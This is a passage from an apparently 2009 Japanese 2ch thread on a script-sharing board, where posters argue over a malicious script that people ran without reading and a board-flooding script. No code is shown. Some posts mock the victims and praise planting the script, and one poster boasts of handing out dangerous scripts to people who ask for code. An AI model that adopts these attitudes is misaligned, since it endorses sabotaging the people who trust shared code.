人をだます人がいることを分かってないお人よしなのか、そういうのを力でねじ伏せてる人なのか、どっちなんだろ。


726 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 15:20:23 ID:QFAR0xIb0]
>>725
どうでもいい。

727 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 19:03:49 ID:kTghvya90]
ただ単純に、スレ違いも甚だしい所でクレクレ行為まがいの事をして、
読めもしないコード貰って実行するバカが悪いだけだろ。
>>690を見て何も疑わずに実行するのはレベル低すぎないか?
俺はネタをネタとryと同じようなもんじゃないかと思うが。

728 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 21:19:22 ID:4BdU1cL60]
>>727
正解

729 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/22(木) 22:49:45 ID:fNEtWyaw0]
戦犯とか意味不明にしても
みんな静かにニヤニヤしながら黙ってみてたんだろ?
偉いなー。みんな空気読んでるなー。って
昨晩から感心してたところだよ

730 名前:lymEYIfFBULtWrMMQD mailto:pe7b5d45e.@gmail.com [2009/10/22(木) 23:41:54 ID:kObaYugK0]
I'll see everybody tomorrow on What's Up Wednesday. ,

731 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 00:30:11 ID:SAH7zdiT0]
誰かウィルスにでもかかったのか?

> 529 名前:BDHkJPLEn[f032ebe2nd.@gmail.com] 投稿日:2009/10/23(金) 00:03:01 ID:???
> So, in my blog, I look for opportunities to present perspectives that are often censored. ,


732 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 02:04:28 ID:Wc1ARWvB0]
ソフ板の定番のスクリプトコピペが少しは意味のある単語を入れ始めただけ



733 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 04:51:08 ID:DWLH0rQm0]
興味持った初心者が実行しちゃうとか思わないのかねぇ
モラルのないクズばっかりだなぁ、情けねーわ

734 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 08:50:16 ID:Hx39oh9p0]
思慮のない初心者は痛い目にあって知恵をつけていくしかない

735 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 10:57:36 ID:SAH7zdiT0]
初心者が毎日来るとは思ってないし。
土日でもないし。

>>734みたいのはひどいと思うけど
「特定の人々にとって都合の悪い書き込み」があったスレにはいつも必ずウィルススクリプトが貼り付けてあった。
ウィルススクリプトはテキスト状態でもウィルスチェッカが発見してログを削除してしまうのを利用しているんだ。

自分が痛い目を見るだけならともかく、ウィルスをばら撒くようなことにもなりかねないから、
確かに痛い目を見てでも安易な実行は避けることを覚えるべき。


736 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 11:51:00 ID:iEyplr100]
>>721
念のため警察に通報しとけよ

737 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 15:05:32 ID:Wc1ARWvB0]
>>733
今回は用途が板爆撃スクリプトなだけに使おうと思う奴も
作った奴もどっちもどっちって感じだがな。

738 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 17:59:13 ID:hoAE3VuS0]
>>736
裏2chへの行き方とか、ウイルスの掃除の仕方とか何とか言って
フォーマットとかふしあなトラップ仕掛けている人を通報するとか言ってるのと同じようなもんだとなぜ解らないんだろうなw

そもそも「己のスクリプトを晒しましょ。」なんていうスレなんだし、
多少のスキルがあるヤツしか居ないと思うんだがなぁ。
まぁ、>>690見て実行するようなヤツは半年くらいネット繋がずに自力でスプリクト書いてろよw

739 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 19:52:40 ID:i7NNR92L0]
関係ない
実害が出たらまず110
逮捕されるかどうかは警察まかせでいい

あとふしあなとは全く違う

740 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 19:59:08 ID:rK5f7ruL0]
ネットで調べることをやめさせてどうするんだ。

741 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 20:01:27 ID:Hx39oh9p0]
ゆとり脳多すぎワロタ

742 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 20:20:51 ID:9mI/MsVb0]
>>739
クソワロタwww



743 名前:wZADhxijwdhbPogdHEe mailto:14d43o08l.@gmail.com [2009/10/23(金) 21:39:08 ID:w7n4Xjz00]
Includes Protective Sports Equipment and Protective Wear. ,

744 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 22:42:04 ID:KXvduCK+O]
uwsc作者のumiumiが一番の悪人
奴は拳銃を売って儲けるヤクザの元締めと一緒
あいつを捕まえない限り被害者は増加し続ける

745 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 23:21:29 ID:Hx39oh9p0]
ついに作者にまで責任転嫁始めたかw
面白すぎるw

746 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/23(金) 23:35:24 ID:Yh5II5xX0]
>>690>>682の無差別掲示板荒らしを未然に防いだと言う意味で評価されるべきだ


747 名前:名無しさん@お腹いっぱい。 [2009/10/23(金) 23:59:41 ID:t1jDgBDQ0]
サーバに無駄な負荷を掛ける攻撃を目論んでいた>>682は典型的な犯罪者
社会のクズを退治した>>690は正義の使者だよ、もちろん

748 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 00:31:01 ID:zq9vSvMH0]
>>744
そもそもWindowsがあるのがいけないんですね!解ります!

749 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 14:36:16 ID:0z+51oUb0]
>>744
そんなの言い出したら包丁売ったら犯罪とか、ライター売ったら犯罪とかってことか?
ちなみに47氏でも勝訴だぞ。

750 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 16:31:07 ID:7wNQpB3T0]
ネタにマジレス

751 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/24(土) 18:01:59 ID:jvbbXPzt0]
クズスレ

752 名前:名無しさん@お腹いっぱい。 [2009/10/26(月) 22:52:30 ID:+luvcpcv0]
Windows7買ったんでこのスレの話を参考にVirtual PC導入したよ
>>690実行しても仮想環境ならワンボタンで取り消せて(・∀・)イイ!!

思う存分危険スクリプト作れるぜ
丸投げ厨に配布しまくろっと



753 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/26(月) 23:14:25 ID:jdxyP/Yd0]
なんか変なのが住み着いたなぁ

754 名前:名無しさん@お腹いっぱい。 mailto:sage [2009/10/26(月) 23:27:49 ID:jrd5+kFQ0]
>>752
丸投げ厨です
これからもよろしくね♪






[ 続きを読む ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧](;´∀`)<344KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef